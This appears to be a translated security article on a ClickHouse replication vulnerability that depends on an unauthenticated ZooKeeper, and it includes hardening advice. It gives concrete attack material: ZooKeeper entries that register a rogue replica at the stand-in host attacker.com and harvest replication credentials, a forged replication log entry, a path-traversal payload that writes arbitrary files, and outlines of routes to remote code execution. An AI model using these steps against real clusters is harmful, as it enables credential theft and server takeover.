Π—Π°Ρ‡Π΅ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΊΠ»Π΅Ρ‚ΠΊΠΈ Π² Π·ΠΎΠΎΠΏΠ°Ρ€ΠΊΠ΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌΠΈ

Π—Π°Ρ‡Π΅ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΊΠ»Π΅Ρ‚ΠΊΠΈ Π² Π·ΠΎΠΎΠΏΠ°Ρ€ΠΊΠ΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌΠΈ

Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ история ΠΎΠ± ΠΎΠ΄Π½ΠΎΠΉ вСсьма Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½ΠΎΠΉ уязвимости Π² ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π΅ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² ClickHouse, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ ΠΏΠ»ΠΎΡΠΊΠΎΡΡ‚ΡŒ Π°Ρ‚Π°ΠΊΠΈ.

ClickHouse β€” это Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… для хранСния Π±ΠΎΠ»ΡŒΡˆΠΈΡ… объСмов Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‡Π°Ρ‰Π΅ всСго ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ большС ΠΎΠ΄Π½ΠΎΠΉ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ. ΠšΠ»Π°ΡΡ‚Π΅Ρ€ΠΈΠ·Π°Ρ†ΠΈΡ ΠΈ рСпликация Π² ClickHouse строятся ΠΏΠΎΠ²Π΅Ρ€Ρ… Apache ZooKeeper (ZK) ΠΈ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΏΡ€Π°Π² Π½Π° запись.

Установка ZK ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ тысячи ZK сСрвСров, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ Kafka, Hadoop, ClickHouse доступны ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎ.

Для сокращСния плоскости Π°Ρ‚Π°ΠΊΠΈ Π²Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΏΡ€ΠΈ установкС ZooKeeper

Π•ΡΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ нСсколько 0day Π½Π° основС Java дСсСриализации, Π½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅ сСбС, Ρ‡Ρ‚ΠΎ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈ ΠΏΠΈΡΠ°Ρ‚ΡŒ Π² ZooKeeper, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ ClickHouse.

ΠŸΡ€ΠΈ настройкС Π² кластСрном Ρ€Π΅ΠΆΠΈΠΌΠ΅ ClickHouse ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ распрСдСлСнныС запросы DDL, проходящиС Ρ‡Π΅Ρ€Π΅Π· ZK β€” для Π½ΠΈΡ… ΡƒΠ·Π»Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Π² листС /clickhouse/task_queue/ddl.

НапримСр Π²Ρ‹ создаСтС ΡƒΠ·Π΅Π» /clickhouse/task_queue/ddl/query-0001 с содСрТимым:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

Π° послС этого Π½Π° сСрвСрах кластСра host1 ΠΈ host2 Ρ‚Π°Π±Π»ΠΈΡ†Π° test Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π°. DDL Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ запуск запросов CREATE/ALTER/DROP.

Π—Π²ΡƒΡ‡ΠΈΡ‚ ΡΡ‚Ρ€Π°ΡˆΠ½ΠΎ? Но Π³Π΄Π΅ ΠΆΠ΅ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ смоТСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ адрСса сСрвСров?

РСпликация ClickHouse Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π°Π±Π»ΠΈΡ†, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ создании Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π² ZK задаСтся сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ Π·Π° ΠΎΠ±ΠΌΠ΅Π½ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ с Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°ΠΌΠΈ. НапримСр ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ запроса (ZK Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ настроСн, chXX β€” имя Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ, foobar β€” имя Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

Π±ΡƒΠ΄ΡƒΡ‚ созданы ΡƒΠ·Π»Ρ‹ columns ΠΈ metadata.

Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

МоТно Π»ΠΈ ΡΠ»ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· этого кластСра? Π”Π°, Ссли ΠΏΠΎΡ€Ρ‚ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ (TCP/9009) Π½Π° сСрвСрС chXX-address Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚ firewall ΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ настроСна аутСнтификация для Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ. Как ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ?

ΠΡ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ Ρ€Π΅ΠΏΠ»ΠΈΠΊΡƒ Π² ZK, просто копируя содСрТимоС с /clickhouse/tables/01-01/foobar/replicas/chXX ΠΈ мСняя Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ host.

Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Π—Π°Ρ‚Π΅ΠΌ Π½Π°Π΄ΠΎ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°ΠΌ, Ρ‡Ρ‚ΠΎ Π½Π° сСрвСрС Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ Π±Π»ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌ Π½Π°Π΄ΠΎ Π·Π°Π±Ρ€Π°Ρ‚ΡŒ β€” создаСтся ΡƒΠ·Π΅Π» Π² ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ΠΌΠΎΠ½ΠΎΡ‚ΠΎΠ½Π½ΠΎ растущий счСтчик, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ большС, Ρ‡Π΅ΠΌ послСдний Π² ΠΆΡƒΡ€Π½Π°Π»Π΅ событий):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

Π³Π΄Π΅ source_replica β€” имя Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ, созданной Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ шагС, block_id β€” ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ…, get β€” ΠΊΠΎΠΌΠ°Π½Π΄Π° "get block" (Π° Ρ‚ΡƒΡ‚ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ для Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ).

Π”Π°Π»Π΅Π΅ каТдая Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ° Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ событиС Π² ΠΆΡƒΡ€Π½Π°Π»Π΅ ΠΈ ΠΈΠ΄Π΅Ρ‚ Π½Π° сСрвСр, ΠΏΠΎΠ΄ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ, для получСния Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… (ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΉ, Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΠΎΠ²Π΅Ρ€Ρ… HTTP). Π‘Π΅Ρ€Π²Π΅Ρ€ attacker.com Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ запросы:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

Π³Π΄Π΅ XXX β€” ΠΈ Π΅ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ для Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ. Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ учСтная запись с доступом ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ основному ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ ClickHouse ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ HTTP. Как Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΏΠ»ΠΎΡΠΊΠΎΡΡ‚ΡŒ Π°Ρ‚Π°ΠΊΠΈ становится критичСски большой, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ZooKeeper, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ, остался Π±Π΅Π· настроСнной Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ.

Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ получСния Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ, ΠΎΠ½Π° написана с ΠΏΠΎΠ»Π½ΠΎΠΉ ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒΡŽ, Ρ‡Ρ‚ΠΎ всС Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ ΠΏΠΎΠ΄ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅ΠΌ ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ Π΅ΡΡ‚ΡŒ Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅.

Π—Π°Ρ‡Π΅ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΊΠ»Π΅Ρ‚ΠΊΠΈ Π² Π·ΠΎΠΎΠΏΠ°Ρ€ΠΊΠ΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌΠΈ
ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ

Ѐункция Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ список Ρ„Π°ΠΉΠ»ΠΎΠ², Π·Π°Ρ‚Π΅ΠΌ ΠΈΡ… ΠΈΠΌΠ΅Π½Π°, Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹, содСрТимоС, послС Ρ‡Π΅Π³ΠΎ ΠΏΠΈΡˆΠ΅Ρ‚ ΠΈΡ… Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС. Π‘Ρ‚ΠΎΠΈΡ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ хранятся Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС.

Π•ΡΡ‚ΡŒ нСсколько ΠΏΠΎΠ΄ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² Π² /var/lib/clickhouse (ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ хранСния ΠΏΠΎ-ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΠ· ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°):

flags β€” ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ для записи Ρ„Π»Π°Π³ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΏΡ€ΠΈ восстановлСнии послС ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…;
tmp β€” ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ хранСния Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ²;
user_files β€” ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ Π² запросах ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹ этим ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠΌ (INTO OUTFILE ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅);
metadata β€” Ρ„Π°ΠΉΠ»Ρ‹ sql с описаниями Ρ‚Π°Π±Π»ΠΈΡ†;
preprocessed_configs β€” ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½Ρ‹Π΅ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ ΠΈΠ· /etc/clickhouse-server;
data β€” собствСнно ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ с самими Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, Π² этм случаС для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π±Π°Π·Ρ‹ просто создаСтся ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΠ΄ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ здСсь (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ /var/lib/clickhouse/data/default).

Для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ создаСтся ΠΏΠΎΠ΄ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ с Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ…. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ столбСц β€” ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» Π² зависимости ΠΎΡ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π΄Π²ΠΈΠΆΠΊΠ°. НапримСр для Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ foobar, созданной Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΌ, Π±ΡƒΠ΄ΡƒΡ‚ созданы ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„Π°ΠΉΠ»Ρ‹:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Π Π΅ΠΏΠ»ΠΈΠΊΠ° ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ получСния Ρ„Π°ΠΉΠ»ΠΎΠ² с Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π½Π΅ провСряСт ΠΈΡ… ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ способом.

Π’Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŒ вСроятно ΡƒΠΆΠ΅ ΡΠ»Ρ‹ΡˆΠ°Π» ΠΏΡ€ΠΎ Π½Π΅Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΡƒΡŽ ΠΊΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΡŽ file_name Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ WriteBufferFromFile. Π”Π°, это позволяСт Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² любой Ρ„Π°ΠΉΠ» Π½Π° Π€Π‘ с ΠΏΡ€Π°Π²Π°ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ clickhouse. Для этого Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°, ΠΏΠΎΠ΄ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ, Π΄ΠΎΠ»ΠΆΠ½Π° Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос (для простоты понимания Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ пСрСносы строк):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

Π° послС ΠΊΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΠΈ ../../../../../../../../../tmp/pwned Π±ΡƒΠ΄Π΅Ρ‚ записан Ρ„Π°ΠΉΠ» /tmp/pwned с содСрТимым hellofromzookeeper.

Π•ΡΡ‚ΡŒ нСсколько Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² прСвращСния возмоТности записи Ρ„Π°ΠΉΠ»ΠΎΠ² Π² ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ запуск ΠΊΠΎΠ΄Π° (RCE).

Π’Π½Π΅ΡˆΠ½ΠΈΠ΅ словари Π² RCE

Π’ старых вСрсиях ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ с настройками ClickHouse хранился с ΠΏΡ€Π°Π²Π°ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ clickhouse ΠΏΠΎ-ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π€Π°ΠΉΠ»Ρ‹ настроСк ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Ρ„Π°ΠΉΠ»Ρ‹ XML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвис Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ ΠΏΡ€ΠΈ запускС, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΊΡΡˆΠΈΡ€ΡƒΠ΅Ρ‚ Π² /var/lib/clickhouse/preprocessed_configs. ΠŸΡ€ΠΈ измСнСниях ΠΎΠ½ΠΈ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ. ΠŸΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ доступа ΠΊ /etc/clickhouse-server Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ собствСнный внСшний ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ исполняСмого Ρ‚ΠΈΠΏΠ°, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄. Π’Π΅ΠΊΡƒΡ‰ΠΈΠ΅ вСрсии ClickHouse Π½Π΅ Π΄Π°ΡŽΡ‚ ΠΏΡ€Π°Π²Π° ΠΏΠΎ-ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ Ссли сСрвСр постСпСнно обновлялся β€” Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΡ€Π°Π²Π° ΠΌΠΎΠ³Π»ΠΈ ΠΈ ΠΎΡΡ‚Π°Ρ‚ΡŒΡΡ. Если Π²Ρ‹ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚Π΅ΡΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ кластСра ClickHouse, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ ΠΏΡ€Π°Π²Π° Π½Π° ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ с настройками, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ root.

ODBC Π² RCE

ΠŸΡ€ΠΈ установкС ΠΏΠ°ΠΊΠ΅Ρ‚Π° создаСтся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ clickhouse, ΠΏΡ€ΠΈ этом Π½Π΅ создаСтся Π΅Π³ΠΎ домашний ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ /nonexistent. Однако ΠΏΡ€ΠΈ использовании Π²Π½Π΅ΡˆΠ½ΠΈΡ… словарСй, Π»ΠΈΠ±ΠΎ ΠΏΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, администраторы ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ /nonexistent ΠΈ Π΄Π°ΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ clickhouse доступ Π½Π° запись Π² Π½Π΅Π³ΠΎ (Π‘Π‘Π—Π‘! ΠΏΡ€ΠΈΠΌ. ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρ‡ΠΈΠΊΠ°).

